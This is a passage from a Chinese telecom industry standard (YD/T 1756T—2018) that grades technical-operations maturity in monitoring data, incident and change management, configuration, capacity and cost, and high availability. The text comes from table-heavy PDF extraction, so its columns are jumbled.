数据存储指针对监控数据的存储场景,对存储的方案、架构、存储成本、数据高可用等纬度综合 评估。 表3 数据管理 级别 数据接收 数据处理 数据存储 1 可正常接收数据,具备一定的统 计和反向查询能力。 1、 具备对原始数据源预处理的 能力。 2、 具备对异常数据识别与校对 的能力。 具备基本的数据存储能力。 2 同上,且需达到如下要求: 1) 具备对基础数据的筛选能 力,如支持数据转发、丢 弃、复制等。 2) 可对原始数据进行规则化处 理,如数据清洗、数据校对 等。 3) 数据接收架构具备可扩展 性。 4) 可对异构数据源集中接收。 同上,且需达到如下要求: 1) 具备常用逻辑运算的能力, 如自定义数据四则运算、统 计(分类、聚类)等。 2) 可对外提供数据接口服务。 3) 具备可扩展的 ETL,实现如 数据清洗、转换、导入和加 载等操作。 4) 具备对异构数据源的处理及 关联分析的能力。 同上,且需达到如下要求: 1) 提供统一的数据存储。 2) 具备可扩展的架构,支持根 据数据类型、容量等扩展方 式。 3) 具备数据一致性、完整性和 可用性等管理特性。 4) 可存储多种数据类型,如文 本、数值型和位图等。 5) 具备对时序数据的存储能 力。 3 同上,且需达到如下要求: 1) 对外提供统一的数据上报服 务,支持多协议多格式的数 据源,如文本、字符串和加 密协议等。 2) 具备数据校验的能力,如空 值检测、乱码校验和属性校 验等。 3) 具备过载保护的能力。 同上,且需达到如下要求: 1) 具备可扩展的架构能力。 2) 具备实时计算与离线统计的 能力,实时计算数据处理延 时小于 1 分钟。 3) 具备处理结构化与半结构化 数据的能力,如时序数据处 理、自定义日志字段解析 等。 4) 具备数据校正、数据持久 化、保证数据完整性的能 力。 5) 具备数据处理过程的监控和 告警能力,如作业异常、数 据比对异常等。 同上,同时需达到如下要求: 1) 提供高频查询的吞吐能力, 如通过 SSD 或缓存技术实现 高并发查询。 2) 按数据使用场景的冷热数据 分离。 3) 具备结构化与半结构化数据 的存储与快速检索能力。 4) 具备时序数据的统计能力。 5) 数据安全管理,如数据容 灾,备份、仓库容量等。 4 同上,且需达到如下要求: 1) 全网数据秒级上报。 2) 可根据数据上报量,动态管 理数据接收容量与吞吐性 能。 同上,且需达到如下要求: 1) 具备可配置、可视化和可编 排作业的能力。 2) 具备数据处理逻辑插件化扩 展的能力。 3) 提供灵活的数据建模能力, 可关联不同数据源,按业务 场景组织多源数据。 4) 提供接入机器学习框架的平 台能力。 同上,且需达到如下要求: 1) 提供成本合理的原始数据存 储方案。 2) 可根据业务场景动态设置存 储周期。 YD/T 1756T—2018 6 5 同上,且需达到如下要求: 1) 支撑百万次 QPS 请求量的数 据接收与筛选; 2) 具备海量数据(如 PB 级) 的存储能力。 同上,且需达到如下要求: 1) 具备智能化数据处理能力, 如智能数据分析、事件预测 等。 2) 数据处理能力达到每分钟 PB 级。 同上,且需达到如下要求: 存储模型具备使用 AI 技术所需的 数据集规模。 5.3 数据应用 数据应用是根据对监控数据的加工、分析,达到异常识别、告警分级、数据可视化展示等应用。 按照应用场景分为告警与管控、数据服务和可视化管理,如表4所示。 5.3.1 告警与管控 告警与管控指监控对异常识别的能力,包括对异常判断逻辑、管控能力、与业务场景的关联等。 5.3.2 数据服务 数据服务指需具备可开放的数据服务能力,为其他系统整合与关联技术运营的数据提供支持。 5.3.3 可视化管理 可视化是监控数据指导技术运营工作开展的重要能力项之一,包括了对展现灵活性、可定制性、 智能化和运维场景结合度的评估。 表4 数据应用 级别 告警与管控 数据服务 可视化管理 1 1) 具备按照阈值规则实现异 常告警的能力。 2) 具备多通道发送告警信息 的能力。 提供基础的数据存储服务。 具备在线数据图表展示的能力。 2 同上,且需达到如下要求: 1) 具备告警分级及简单收敛 方案。 2) 支持告警的统计分析,如 告警触达率、告警准确率 等。 3) 具备告警明细的记录存储 和告警统计数据导出的能 力。 4) 针对标准告警信息,关联 提供标准运维操作的提示 性建议。 5) 自动告警升级,能够将告 警通知、升级与组织架构 关联。 同上,且需达到如下要求: 1) 提供面向应用场景的数据服 务化能力。 2) 具备常规数据处理的能力, 包括但不限于最大值、平均 值等。 3) 具备按条件导出数据接口的 能力。 4) 具备数据迁移的能力,如复 制、同步或传输数据到其他 存储介质。 5) 提供自定义数据查询接口, 和数据内容的功能。 同上,且需达到如下要求: 1) 具备自定义图表的能力。 2) 提供指标强化展示的特性, 如业务监控指标的重点展 示。 3) 支持场景化的在线数据查 询。 3 同上,且需达到如下要求: 1) 标准化的告警关联自动化 工具,实现常见技术运营 场景下的故障自愈。 同上,且需达到如下要求: 1) 具备大规模数据计算的能 力。 2) 提供在线自定义数据统计分 同上,且需达到如下要求: 1) 具备基于业务拓扑架构或调 用关系的可视化能力,并能 标示出监控异常点。 YD/T 1756T—2018 7 2) 具备规则化的告警关联分 析、关联收敛的能力。 3) 自定义告警的关联引导或 触发工具,如 CDN 回源失 败告警信息中,会关联出 CDN 自助分析工具。 4) 告警风暴管控, 如抑制、 收敛等。 5) 自定义分级告警,如预警 机制等 析的功能,如在线 SQL 等。 3) 具备数据接口管控功能,如 调用限频、限制访问源等。 4) 可对常用数据进行安全管 控,如按需分配权限、数据 加密或脱密等。 2) 具备数据的维度展开与下钻 能力。 3) 支持按条件进行数据统计与 展现,如按时间、精度等维 度的数据加工功能。 4) 多用户权限管理,如权限分 级、支持按需申请。 5) 自定义业务视图,如根据业 务场景定制所需的图表或功 能。 6) 支持覆盖全业务的统一可视 化。 4 同上,且需达到如下要求: 1) 阈值动态调整,通过机器 学习等手段,降低告警量 并提高准确性。 2) 多对象多事件关联分析, 如关联抑制和收敛能力。 3) 根据告警进行根因分析, 并进行快速问题定位与修 复。 同上,且需达到如下要求: 1) 支持监控链条分钟级的端到 端分析与输出结果。 2) 智能数据推荐。 同上,且需达到如下要求: 1) 智能基线可视化展示。 2) 按照特定节点智能关联展示 相关节点的可视化,如数据 库异常的监控点,可关联展 示其他架构层的异常指标。 5 同上,且需达到如下要求: 1) 按业务场景实现业务影响 评估、故障智能调度、业 务智能止损等告警发现与 平台管控。 2) 根因分析与处理的结论为 架构优化提供参考。 同上,且需达到如下要求: 智能分析技术运营对象全生命周 期相关数据,如智能分析故障影 响范围、智能提供决策参考等。 同上,且需达到如下要求: 1) 智能推荐监控视图。 2) 具备按业务场景智能生成监 控视图的能力。 6 事件管理与变更管理 事件和变更管理是技术运营和IT服务过程的两个重要管理手段,包括事件管理和变更管理两部分, 事件管理是对影响生产的事故和问题建立预防、高效处理及度量改进的制度和手段,变更管理是对IT 基础设施、系统应用、业务产品配置等场景实施变更所进行的审批和控制流程。 6.1 事件管理 事件是指计划外的服务中断、服务质量下降或还未影响服务的事态,事件管理的目的是快速响应 用户事件,短时间内恢复受影响的IT服务,使事件对用户的影响最小化。通过对事件管理过程不同阶 段的细分,从快速发现到高效的处理流转再到复盘改善的跟进,建立对事件全生命周期的管理。事件 管理包括事前管理、事件处理和事后管理,如表5所示。 6.1.1 事前管理 事前管理是指在事前对于事件能够做到定义清晰、完备问题发现能力以及预防止损措施,如监控 覆盖、信息周知和上升等。 6.1.2 事件处理 YD/T 1756T—2018 8 事件处理是指在事件发生时,具备完整的事件处理流程,包括应急响应的流程及要求、事件处理 团队内外部的协同配合机制等。 6.1.3 事后管理 事后管理是指事件处理后的学习与改进的能力衡量,通过复盘、对不同维度的事件分析等方式保 持对事后改善工作的落地,如客户评估、演习验收等手段。 表5 事件管理 级别 事前管理 事件处理 事后管理 1 1) 对于事件有基本的分类,能 够被动的受理和处理系统故 障,如依靠内外部用户反 馈。 2) 具备值班接口人角色,能够 做到实时响应。 在业务发生故障后具备快速处理 和恢复的能力。 1) 对于事件有基本的记录。 2) 事后能够做到分析和通报。 2 1) 对问题和事故进一步分级, 建立主动的事前流程和要 求,如响应、周知、升级、 反馈等环节的要求;也需要 做到基本场景的预案建设、 监控的基本覆盖、变更管控 等要求。 2) 具备对重大故障的应对预 案。 3) 设立完整的事件处理组织, 定义一二线团队的基本职责 并和业务团队打通。 4) 具备工具化能力,如事件管 理平台、知识库、监控平台 等。 5) 具备基本的、可运营的容错 设计架构。 1) 建立事件处理规范,根据不 同事件级别达到对应的应急 响应和故障处理时效,所有 的事件具备事件记录和反 馈。 2) 在事件处理过程中,除事件 处理团队外具备服务台角 色,能够对各类事件的处理 过程进行追踪和协调等。 3) 事件处理人员整体具备止损 意识。 4) 可提供脚本或工具执行预 案。 1) 在事后能够建立起基本的学 习改善机制,如事后复盘、 案例学习等手段避免事件重 复发生。 2) 事件定位能够客观找到原因 和责任归属。 3) 团队建立事后流程和质量文 化,开展基本的度量考核工 作、事件记录,关注事故 数、止损时效和解决率等, 并建立起奖惩制度。 3 同上,且需达到如下要求: 1) 支持对事件场景的详细扩 展,如安全类、用户体验类 等,各应急角色需要保持培 训学习和持续更新。 2) 具备完整的重大故障预案, 覆盖信息安全、舆情等场 景。 3) 事件处理组织能够进一步扩 展,如供应商、第三方服务 等团队。 4) 具备平台化能力,如压测平 台、运维自动化和预案平台 等;平台间具备信息共享和 协同能力,如监控发现问题 自动建单、变更操作自动周 知影响范围等。 5) 架构具备高可用和持续性设 同上,且需达到如下要求: 1) 具备重大事故、突发事件快 速决策、合理止损和快速处 理解决的能力,有效保证特 殊重大事件的处理效率与质 量。 2) 团队具备跟进事件的标准化 管理流程,如 IT 服务台统 一接受和分发事件、最优服 务资源分配、跨团队沟通协 作等。 3) 具备平台化能力,如判断事 件后能够通过预案平台一键 执行。绝大部分的预案可授 权一线直接处理。预案平台 具备可视化能力,能够观测 执行后各项数据的变化。 4) 具备一定的通用类事件通过 同上,且需达到如下要求: 1) 事后复盘具备正确的改善 点、复杂事件能区分出主次 责任和根本原因等能力。 2) 能够执行优化改进,做到改 善措施的落地和验证。验收 演习必须在规定时效内完 成,进一步完善预案内容。 3) 事件平台具备度量分析、改 善追踪、知识库积累等能 力。 4) 度量能够关联绩效考核,驱 动团队重视问题和改进优 化。 YD/T 1756T—2018 9 计。 架构容错能力达到无人介入 的能力,事件处理预定级的 准确率高于 90%。 4 同上,且需达到如下要求: 1) 事件管理平台具备智能化能 力,能够实现故障预测、预 案推送;具备智能监控能 力,可实现大幅度收敛和精 准定位告警。 2) 定期开展混沌工程、机房切 换等演练。 同上,且需达到如下要求: 1) 具备智能化能力,可达到 90%的系统、网络类事件实 现自愈,无需人为介入操 作。 2) 借助平台和智能手段实现秒 级操作时效。 同上,且需达到如下要求: 1) 遵循事件终止原则,直至客 户满意为止。 2) 事件平台具备智能化分析能 力,通过持续的信息输入, 提前给出潜在风险的预判。 5 同上,且需达到如下要求: 事件平台具备预案自动学习生 成、事前判断的准确率 99%以 上。 同上,且需达到如下要求: 90%的事件能够实现自愈。 同上 6.2 变更管理 变更管理指对IT 基础设施、系统应用、业务产品配置等场景实施变更所进行的审批和控制。在 DevOps环境下,生产环境的变化非常频繁,变更管理面临许多挑战。组织需要了解变更的内容、识别 变更的影响范围、识别变更的风险,以便采取有效的管控措施,既要高效率实施变更,又要最小化业 务风险。变更管理包括变更管理流程和部署管理。如表6所示。 6.2.1 变更流程管理 变更流程管理是指通过对变更进行评估,确保能够在对用户、服务产生最小负面影响的情况下实 施变更,同时通过在组织内进行有效的协商和沟通,确保所有的变更都具有合理评估和可追溯性。 6.2.2 部署管理 表6 变更管理 级别 变更流程管理 部署管理 1 1) 有变更操作的周知要求,能控制部分风险。 2) 具备突发场景的变更能力。 具备基本的部署能力,部署频率以月为单位、单次部署 包含大量需求、部分部署工作通过手动执行等。 2 1) 变更操作具备规范化要求,如具备变更文 档、变更计划安排、变更周知、影响评估和 非生产环境验收等规范。 2) 具备变更评审组织,跟进变更需求,执行变 更后有值守观测的要求。 3) 具备变更审批流程,变更操作具备一定的能 力要求,如自动化变更、灰度发布、回滚和 1) 部署过程通过流程文档实现标准化;采用定期部 署策略,部署频率以周为单位,应用作为部署的 最小单位,应用和数据库部署实现分离,实现测 试环境及生产环境的自动化部署。 2) 部署具备一定的工具化程度,部分过程或工作通 过脚本自动化实现。 3) 部署出现问题可回滚、系统可用性影响在可控范 YD/T 1756T—2018 10 变更记录可追溯等能力。 围内。 3 同上,且需达到如下要求: 1) 具备完善的变更管理和发布规范,覆盖到软 件开发、配置管理、部署管理和发布管理等 过程。 2) 具备变更报告和测试报告,对日常的变更质 量有基本的度量。 3) 建立变更顾问委员会,可以评估出变更带来 的影响,定期组织会议对历史变更进行回顾 和总结, 反馈变更后的信息。 如建立 CAB 组织,包括变更经理、服务经理、服务台代 表、供应商、客户等角色。 4) 具备变更管理的平台化能力,如监控推送健 康监测、变更后的自动化测试等。变更管理 流程具备较高的自动化能力,平台一键化完 成变更或回滚操作。 5) 变更质量和效率度量,变更执行顺畅,结合 所处行业有较高的成功率。 同上,且需达到如下要求: 1) 采用定期部署策略,具备按天进行部署的能力, 应用和环境整体作为部署的最小单位,应用和配 置进行分离,可使用相同的方法覆盖所有环境部 署。 2) 通过低风险的部署发布策略保证流程风险可控, 如蓝绿部署,金丝雀发布等。 3) 部署和发布全部实现自动化,具备统一的部署发 布平台、架构和系统应用的标准化要求。 4) 部署具备高成功率、部署活动集成回归测试用例 并作为准入、每次部署活动提供变更范围报告和 测试报告,如部署成功率 90%以上(以版本统 计)、回归用例要求和部署系统做到部分集成等。 5) 建立部署的监控和度量体系。 4 同上,且需达到如下要求: 1) 重大变更操作的实施具备深度规范化,能够 遵循定义、规划、构建、测试、验收、评估 等的特定变更顺序,如切换核心数据库、数 据库迁移等。 2) 具备智能化能力,在变更后能够通过机器学 习跟踪用户反馈、挖掘舆情和做到变更风险 的自动分析等。 3) 具备变更质量的度量能力,如:部署失败率 整体较低,按照模块、团队、应用都能达到 99.95%以上,全年无发布升级导致的重大故 障。 4) 支持通用场景以外的变更风险关注,如工具 类变更、签名系统的升级、流程类变更等。 同上,且需达到如下要求: 1) 按需部署。 2) 具备深度平台化能力,部署发布服务化实现团队 自助一键式多环境自动化部署,同时支持数据库 自动化部署;部署过程可灵活响应业务需求变 化,通过合理组合实现灵活编排。 3) 部署成功率能达到 99.9%,出现问题自动化降级回 滚。 5 同上,且需达到如下要求: 完整变更管理的智能化要求,如变更操作无人 化。 同上 7 配置管理 配置管理是由识别和确认系统的配置项、记录和报告配置项状态和变更请求、检查配置项的正确 性和完整性等活动构成的过程,其目的是提供IT基础架构的逻辑模型,支持其他服务管理流程特别是 变更管理和发布管理的运作。配置管理作为技术运营工作的基础数据,为技术运营工作的开展提供必 要的配置对象管理、录入、关联等功能,各个技术运营系统可以基于此配置数据实现自动化运维、监 控管理等功能。 7.1 运营配置管理 运营配置管理特指与技术运营相关的配置数据,包括配置管理系统的基础功能与扩展能力,配置 对象的说明与对象间的关联与应用场景,包括配置对象与配置数据,如表7所示。 YD/T 1756T—2018 11 7.1.1 配置对象 配置对象指与技术运营相关的配置项。 7.1.2 配置数据 配置数据指与配置项相关的数据,记录配置项的状态、变更及配置项间的关系,可覆盖配置项的 全生命周期。 表7 运营配置管理 级别 配置对象 配置数据 1 具备记录基础设施的配置管理能力。 依靠文档记录配置信息。 2 同上,且需达到如下要求: 1) 具备配置对象全生命周期的管理能力,支 持配置对象状态更新的通知管理。 2) 具备常用配置对象的管理能力,支持业 务、应用等。 1) 具备统一配置管理的能力,支持实时反馈 在线运维对象的运行状态。 2) 对外提供 API 接口的功能。 3) 具备通过流程管理配置项变更的能力,数 据的准确性通过人工维护。 4) 具备配置数据变更日志管理的能力,支持 变更回溯和日志审计功能。 3 同上,且需达到如下要求: 1) 具备自动发现配置对象的能力,如配置对 象自动上报状态。 2) 具备配置对象自定义的能力,支持自定义 扩展字段。 3) 具备配置变更关联技术运营事件的能力, 如运维告警关联业务定义的返回码等。 4) 具备常用配置对象间的关联能力,如主机 与上联交换机关联。 同上,且需达到如下要求: 1) 具备配置管理的权限与组织分工关联的能 力,支持常态化的权限检查与更新机制。 2) 具备关键配置数据自动纠正的能力,实现 单一可信数据源。 3) 具备多用户视角的配置数据统计与展现能 力。 4) 具备配置数据集中管理的能力,如专人负 责维护与定义配置数据,并且有标准流程 支持查询与使用。 4 同上,且需达到如下要求: 1) 具备自动发现配置对象间关联关系的能 力,智能识别配置对象间的内建关联关 系。 2) 具备辅助可视化展现的能力,支持绘制业 务功能架构的可视化展示功能。 同上,且需达到如下要求: 1) 具备自动化配置项变更的能力,支持统一 变更 API 接口。 2) 具备配置数据联动其他系统的能力,支持 配置数据变更与外部系统的通知与回调。 3) 提供与业务场景关联的配置数据统计与展 现能力。 4) 具备配置数据为技术运营活动提供数据支 持的能力,如主动巡检、资产核算和容量 管理等。 5 同上,且需达到如下要求: 具备智能化配置数据扩展的能力,支持持续扩 充与完善配置对象与对象间的关联关系。 同上,且需达到如下要求: 1) 具备为运维智能决策提供数据支持的能 力。 2) 具备智能化定义配置关联规则的能力,如 按业务场景智能组装配置管理的流程、变 量,实时产生适用的规则。 8 容量和成本管理 YD/T 1756T—2018 12 容量和成本管理是对容量和成本进行评估、规划、分析、调整和优化的过程,它结合了业务、服 务和资源容量需求,以保证对资源的最优利用,满足与用户之间所约定的性能等级要求,在公司业务 快速增长以及有大量的个人用户端业务时,必须进行容量与成本管理。 8.1 容量管理 容量管理的评估包括三个纬度:硬件负载、吞吐性能、业务量,以及这三个管理纬度与运维活动 的结合。容量管理由基础设施容量和业务容量组成,如表8所示。 8.1.1 基础设施容量 基础设施容量指容量管理中与IaaS相关的能力项,包括指标纬度、统计方法、可指导的运营活动 等。 8.1.2 业务容量 业务容量以业务的视角来组织容量的数据,让容量的指标与业务的实际质量和运维效率结合,指 导运维工作开展。 表8 容量管理 级别 基础设施容量 业务容量 1 1) 具备按维度聚合的能力,如按硬件集群 的指标聚合、按操作系统的性能指标聚 合等。 2) 具备基础设施的容量监控与告警的能 力。 1) 具备按业务相关维度聚合的能力,如按业务功 能模块或服务维度聚合等。 2) 具备业务容量监控与告警的能力。 2 同上,且需达到如下要求: 1) 具备容量统计的能力,支持多维度的容 量统计报表或视图。如按照地域维度、 机房维度等统计。 2) 自定义容量计算,支持最大值、最小值 或极差等。 3) 实时容量查询,支持 API 查询接口功 能。 4) 具备容量特征管理的能力,支持根据不 同运维对象的容量特征,量化管理单机 承载能力,如容量的访问密度等。 5) 具备容量基线的管理能力,支持容量管 理与标准硬件管理结合。 6) 主动巡检,如定期巡检发现硬件容量异 常等。 同上,且需达到如下要求: 1) 具备反馈业务容量指标的能力,支持多维度的 容量统计报表或视图,如请求量、成功率和延 时等,支持按接口、功能和应用等。 2) 具备业务容量特征管理的能力,支持根据不同 业务场景的容量特征,多维度的量化管理其容 量指标,并具备自定义业务容量计算方法的能 力。 3) 提供实时业务容量 API 查询接口。 3 同上,且需达到如下要求: 1) 具备动态容量平衡的架构能力,支持按 业务分布差异,动态调整业务量与容量 配比,如负载均衡、平行扩展等。 2) 容量弹性伸缩,并定期进行容量调度演 习。 3) 具备容量预警的能力,如 CPU >80%、每 小时增长斜率>20%等。 4) 具备容量预测的能力。 同上,且需达到如下要求: 1) 支持业务与硬件容量指标的关联分析能力。 2) 定期分析线上业务容量水平。 3) 具备根据容量数据决策调度业务的能力。如:过 载保护、防雪崩等。 4) 具备业务容量柔性服务能力。如:有损服务、容 量弹性伸缩。 5) 具备基于实际运营情况的业务容量预测模型。 YD/T 1756T—2018 13 4 同上,且需达到如下要求: 1) 自定义容量管理,支持按运维场景定义 容量管理功能,如服务器容量、链路容 量和机房容量等。 2) 主动容量优化,以容量优化为目标的相 关技术运营活动。 3) 全链路容量预测,如从单集群容量预测 到链路容量预测等。 同上,且需达到如下要求: 1) 容量精细化分析,如支持业务请求链路中的容 量分析、架构性能瓶颈分析等。 2) 支撑技术运营活动,如容量数据与故障关联 等。 3) 全链路容量预测,为保障业务连续性的容量分 布活动提供支持。 5 同上,且需达到如下要求: 具备智能容量管理的能力,如支持硬件容量、 性能、损耗的智能化预测分析和有准确的结果 等。 同上,且需达到如下要求: 具备智能容量管理的能力,如支持业务容量的智能调 度、智能决策和智能预测等。 8.2 成本管理 成本管理是对运维对象生命周期的运营成本进行量化管理的过程,通过合理性分析、架构优化、 容灾规划等手段达到成本节省的目的。成本管理分为成本合理性和预算与核算,如表 9 所示。 8.2.1 成本合理性 成本合理性指对运营成本的主动分析,通过与容量数据、配置管理数据的结合,指导运维优化活 动的开展,推动架构优化、自动化等能力的建设。 8.2.2 预算与核算 预算与核算指成本管理的一个重要环节,通过建立成本与业务的关联,根据业务的发展有计划的 申请资源,并定期核对资源的使用合理性与必要性,寻求质量与效率的最优组合。 表9 成本管理 级别 成本合理性 预算与核算 1 在基础设施、软件采购时有成本意识。 1) 具备基础预算的能力,如有流程支持预算申 请。 2) 具备基础核算的能力,如有资产配置表,包括 硬件、软件资产的记录管理方法。 2 1) 具备基础设施全生命周期成本的管理能 力,能标示和记录不同状态。 2) 具备软件全生命周期成本的管理能力, 有流程规范指导软件的立项、上线、变 更、下线等生命周期中不同阶段的对应 管理。 3) 具备成本相关数据的记录能力,支持管 理对象与生产环境状态的一致性。 同上,且需达到如下要求: 1) 具备体系化的预算管理的能力,如对软硬件的 过期机制、更新机制等。 2) 具备主动成本分析的能力,如定期清算的机制 等。 3) 具备核算管理流程,如制定流程指导硬件的采 购、使用、淘汰等生命周期中不同阶段的对应 管理行为。 4) 具备对全局技术运营对象的核算能力,如开发 环境、测试环境和生产环境等。 3 同上,且需达到如下要求: 1) 多维度成本管理,包括软硬件、云资源 和带宽等,可支持组合分析。 2) 具备成本换算的能力,支持云主机的 CPU 核数、存储量等按换算规则换算计 同上,且需达到如下要求: 1) 具备灵活成本管控的能力,支持使用云服务和 技术,实现缩短采购周期、弹性伸缩等。 2) 具备成本分析与预测的能力,如固化成本管理 报表、例行化成本核算等。 YD/T 1756T—2018 14 价。如母机虚拟化出多个容器,每个容 器的成本计算需要有个换算规则。 3) 分析资源利用率,如库存分析、库存预 警、硬件损耗预测和预算预测等。 4) 成本数据与容量数据关联分析,支持生 产容量、容量扩缩容等技术运营活动的 合理性分析,输出成本管理角度的分析 和建议。 5) 精细化成本管理,如从单机到单核的成 本使用和管理等。 6) 主动成本管理,如主动的架构评审、架 构成本合理性分析和带宽使用优化等。 3) 具备成本数据自动化校对的能力,如采购数量 与实际使用情况不匹配的自动发现能力。 4 同上,且需达到如下要求: 1) 按业务场景进行成本管理,如混合部 署、离线计算的应用等。 2) 具备业务架构与容量的成本数据的关联 分析的能力,支持智能分析出业务的容 量水位线、容量模型,并提供优化建 议。 3) 指导和决策技术运营活动,为相关的技 术运营活动提供参考。 同上,且需达到如下要求: 1) 具备业务架构与成本关联分析的能力,成本数 据为技术选型提供辅助决策信息。 2) 具备关联业务指标的能力,支持按业务指标与 成本预算的联动。 3) 具备合理性分析和数据决策的能力,如上线一 个新功能,需从架构角度说明成本的消耗分 布,结合成本管理的历史数据,要求做到最 优。 4) 具备自动化核算的能力,支持按业务的成本管 理模型的核算功能。 5 同上,且需达到如下要求: 智能化成本管理,如成本管理的目标智能调 度、智能决策等,自动化各个环节的操作与活 动。 同上,且需达到如下要求: 根据业务指标智能完成预算。 9 高可用管理 高可用是指系统无中断地执行其功能的能力,代表系统的可用性程度。高可用管理包括应用高可 用管理和数据库高可用管理两部分。 9.1 应用高可用管理 应用层包含了系统应用的业务处理逻辑,可以分为接入层,应用层和服务层。应用层业务处理逻 辑复杂,应用数量较多,需要在具备弹性可扩展能力的同时还需具备柔性容错能力。 应用高可用管理包括弹性能力、柔性能力和运行与维护管理,如表10所示。 9.1.1 弹性能力 弹性能力指应用节点可以快速横向扩展并更新应用至最新状态上线承载流量,甚至可以根据监控 性能指标或按计划进行应用的动态扩容伸缩,由负载均衡与服务网关、注册中心与路由调度、服务治 理和业务无损发布管理四部分组成,具体解释如下: a) 负载均衡与服务网关:支持多种负载均衡算法,根据后端性能灵活的分配一定比例的流量给 后端服务器,具备流量切换的能力,如Nginx,Zuul,Kong等。 b) 注册中心与路由调度:主要指1)服务节点自动注册,自动发现,自动路由到新发现节点;2) 服务节点宕机自动下线,节点异常自动下线与隔离;3)注册中心本身高可用。如Zookeeper, Eureka,Consol,Etcd等。 YD/T 1756T—2018 15 c) 服务治理:有完备的应用服务间调用关系治理的平台,具备完善的应用服务级别的监控报警。 通过管理平台,可以对所有服务消费者和服务提供者进行管理,如上线下线,权重调整,调 用统计等操作。 d) 业务无损发布管理:包括灰度发布和结合流量切换操作两部分。灰度发布指分批发布,并逐 步扩大至整个集群全部完成。结合流量切换操作指每批发布的机器在操作前都摘除流量后再 更新操作,更新完毕后重新切回流量。 9.1.2 柔性能力 柔性能力由失效转移与重试、限流管理、业务降级管理和分布式消息四部分组成。 a) 失效转移与重试:当部分应用节点故障或者性能严重下降时,应有机制实现自动将该故障节点 从在线服务列表中去掉,以避免仍对生产产生影响。应用调用有重试机制,以保证在网络不 好或其他原因导致调用失败情况下还可以重试保证尽量调用成功。 b) 限流管理:当访问流量超过能承载的能力时,有能力对流量进行主动限制,以避免流量过载 导致后端服务崩溃。 c) 业务降级管理:划分核心功能和非核心功能,当出现故障或资源瓶颈时,在不能立即恢复业 务的情况下,优先把资源留给核心功能,主动降级部分非核心功能,以保障核心功能正常运 行,技术上可以把降级做成后台管控的开关以便快速降级及恢复操作。 d) 分布式消息:消息队列中间件是分布式系统中重要的组件,主要解决应用耦合,异步消息, 流量削锋等问题,实现高性能,高可用,可伸缩和最终一致性架构是大型分布式系统不可缺 少的中间件。 9.1.3 运行与维护管理 运行与维护管理指具备集中式的运行与维护管理平台,监控具备从主机监控到端口监控,到业务 层面的立体的监控,结合配置管理系统实时更新状态信息,集中展现,信息全面准确。引入智能化的 技术,智能预测业务增长、故障预警,动态止损、智能调度。 表10 应用高可用管理 级别 弹性能力 柔性能力 运行与维护管理 1 1) 具备一定的应用系统规 划能力,能够梳理常见 应用服务间调用关系, 容量瓶颈可通过手工操 作完成。 2) 负载均衡支持多种负载 均衡算法。如:根据后 端性能灵活的分配一定 比例的流量给后端服务 器。 3) 具备一定的流量切换能 力,应用发布造成的业 务影响可控。 1) 系统具备一定的健壮性,在 硬件故障等情况下能及时恢 复。 2) 通过人工操作可以在较短时 间内完成应用的扩容上线。 1) 具备常用的信息系统。 2) 具备主机、进程端口等监控 功能。 2 同上,且需达到如下要求: 1) 准确梳理应用服务间调 用关系,具备应用服务 同上,且需达到如下要求: 1) 系统具备良好的健壮性,无 单点,在硬件故障等情况下 同上,且需达到如下要求: 1) 信息系统实现有效打通,运 行维护依赖整合的信息,少 YD/T 1756T—2018 16 间 调 用 关 系 治 理 的 平 台,支持应用服务级别 的监控报警,如能够体 现 业 务 监 控 的 APM 或 NPM 工具。 2) 应用节点可快速横向扩 展并更新至最新状态, 以上线承载流量。 3) 应用支持分批发布,可 从一台开始逐步扩大至 整个集群,且发布过程 不会对生产环境产生影 响。 不易出现业务上的中断或异 常。 2) 具 备 失 效 转 移 的 能 力 。 如:当部分应用节点故障或 者性能严重下降时,应有机 制实现自动将该故障节点从 在线服务列表中去掉,以避 免仍对生产环境产生影响。 3) 具备限流能力。 如:当访 问流量超过承载能力时,有 能力对流量进行主动限制, 以避免流量过载导致后端服 务崩溃。 量人工分析即可定位问题。 2) 具备反映业务层面运行状况 的监控,易于查看业务请求 的调度情况和性能,支持故 障快速定位。 3 同上,且需达到如下要求: 1) 根据监控性能指标或按 计划进行应用的自动化 动态扩容。 2) 多应用相关联的自动化 同步横向扩展。 同上,且需达到如下要求: 具备故障情况下避免业务中断的 相应机制。 如:通过多机房部署 等方式,在硬件故障、网络故障 等情况下可以尽可能避免业务中 断或异常。 同上,且需达到如下要求: 1) 具备结合配置管理系统实时 更新状态信息的能力。 2) 具备集中展现能力,并保证 信息的全面准确。 4 同上,且需满足如下要求: 无人值守的自动扩容缩容。 同上,且需满足如下要求: 具备根据业务级别主动降级能 力。 如:当出现故障或资源瓶颈 时, 在不能立即恢复业务的情况 下, 优先把资源留给核心功能, 主动降级部分非核心功能,以保 障核心功能正常运行,技术上可 以把降级做成后台管控的开关以 便快速降级及恢复操作。 同上,且需满足如下要求: 引入智能化技术手段,智能预测 业务增长、故障预警、动态止损 和智能调度。 5 同上,且需满足如下要求: 引入智能化技术手段分析应用 特性,采用池化混用,分时调 整等策略,自动调整应用容 量,在保障生产稳定的同时兼 顾最优化成本。 同上,且需满足如下要求: 多机房多活或异地多活,并满足 数据的一致性要求。 如:在光 缆中断等重大故障发生时,能够 保障核心业务不受影响或快速恢 复运行。 同上 9.2 数据高可用管理 数据高可用管理是指数据高可用和高扩展能力的管理,保证在服务器故障等异常情况下不丢失数 据,管理方式包括主从同步、读写分离、分表分库和数据一致性等,其中数据一致性又分为分布式事 务和传统事务。 数据高可用管理包括数据库高可用和缓存高可用,如表 11 所示。 9.2.1 数据库高可用 数据库高可用由主从同步、读写分离、分表分库和数据一致性组成。 主从同步:指将数据库中的数据复制到另一台或多台独立的服务器上,在主库发生问题无法快速 恢复时可以把从库修改为主库对外提供服务,主库与从库之间同步的延迟确定了从库切换为主库时可 能丢失的数据的时间。 读写分离:指数据库做了主从同步以后,从库即可以作为备库,也可以作为日常的读库,提高日 常的读能力,缓解主库的压力 YD/T 1756T—2018 17 分表分库:指为解决单节点数据库服务器的能力限制,将数据库水平扩展到不同的物理节点上, 每个节点都能提供相应的读写能力,以满足数据库高性能的要求。 数据一致性:指数据写入的数据一致性一般通过事务性来解决。事务分为传统事务和分布式事务。 传统事务一般通过数据库本身完成,分布式事务因为涉及跨多个数据库,故需要在应用层解决,如使 用跨数据库事务等2PC的方式,但2PC的方式会产出锁的占用,影响性能,故后续又出现了补偿型柔性 事务的方式,如、TCC,ServiceComb-Saga等。 9.2.2 缓存高可用 缓存高可用指能够使用缓存对热点数据进行加速,对缓存有持久化保存,有缓存的备份节点,主 备节点保持实时数据同步。缓存节点宕机可以自动切换至备份节点,并保证数据一致。 表11 数据高可用管理 级别 